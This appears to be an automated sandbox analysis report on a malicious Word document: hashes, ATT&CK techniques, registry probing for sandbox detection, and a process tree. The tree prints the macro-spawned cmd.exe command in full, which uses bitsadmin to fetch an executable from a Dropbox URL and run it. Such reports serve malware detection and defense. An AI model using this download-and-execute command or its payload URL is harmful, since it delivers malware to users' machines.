f5037d0353515ba8c2fff518cb0147d75e305e5c9f113c70b9fc458d11e87a83

General

Target

a06a124135553e34521dd6d0e991a0a7_JaffaCakes118.doc
Size

109KB
MD5

a06a124135553e34521dd6d0e991a0a7
SHA1

ad273ad024123d1c29d8197ec1f9b2e6d81efe58
SHA256

f5037d0353515ba8c2fff518cb0147d75e305e5c9f113c70b9fc458d11e87a83
SHA512

6e7fe6749f3815d06e56191671fa8b05af2240b34091a560f353d12f1347a5bb8593ef6dd7ec7c1f0555d11364c9ceecef3beaedb29d51c08a96419838dcec46
SSDEEP

768:smth9cs0k6tWdmUx7mOUPwAy91LSi4TSUaThfFlaKD0xz99G7I:smpokscv7mvPw5qi4TSlThDaKD03s7

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3024	2900	cmd.exe	77

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2964	bitsadmin.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 3024	2900	WINWORD.EXE	82
PID 2900 wrote to memory of 3024	2900	WINWORD.EXE	82
PID 3024 wrote to memory of 412	3024	cmd.exe	84
PID 3024 wrote to memory of 412	3024	cmd.exe	84
PID 3024 wrote to memory of 2964	3024	cmd.exe	85
PID 3024 wrote to memory of 2964	3024	cmd.exe	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a06a124135553e34521dd6d0e991a0a7_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "waitfor /t 5 YKERQ & bitsadmin /transfer UKEF /download /priority normal https://www.dropbox.com/s/5z8un827b89om4g/1qesyozananrivoxityof.exe?dl=1 %appdata%\ikrekh.exe &start %appdata%\ikrekh.exe"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\waitfor.exe
    waitfor /t 5 YKERQ
    3⤵
    PID:412
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer UKEF /download /priority normal https://www.dropbox.com/s/5z8un827b89om4g/1qesyozananrivoxityof.exe?dl=1 C:\Users\Admin\AppData\Roaming\ikrekh.exe
    3⤵
    - Download via BitsAdmin
    PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

1

T1197

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD201F.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
memory/2900-13-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-9-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-4-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-1-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-5-0x00007FFA3E8CD000-0x00007FFA3E8CE000-memory.dmp

Filesize
4KB

Download
memory/2900-6-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-8-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-7-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-18-0x00007FF9FC580000-0x00007FF9FC590000-memory.dmp

Filesize
64KB

Download
memory/2900-12-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-11-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-16-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-15-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-17-0x00007FF9FC580000-0x00007FF9FC590000-memory.dmp

Filesize
64KB

Download
memory/2900-3-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-14-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-10-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-0-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-28-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-27-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-29-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-30-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-31-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-34-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-35-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-36-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download
memory/2900-2-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-532-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-533-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-534-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-531-0x00007FF9FE8B0000-0x00007FF9FE8C0000-memory.dmp

Filesize
64KB

Download
memory/2900-535-0x00007FFA3E830000-0x00007FFA3EA25000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads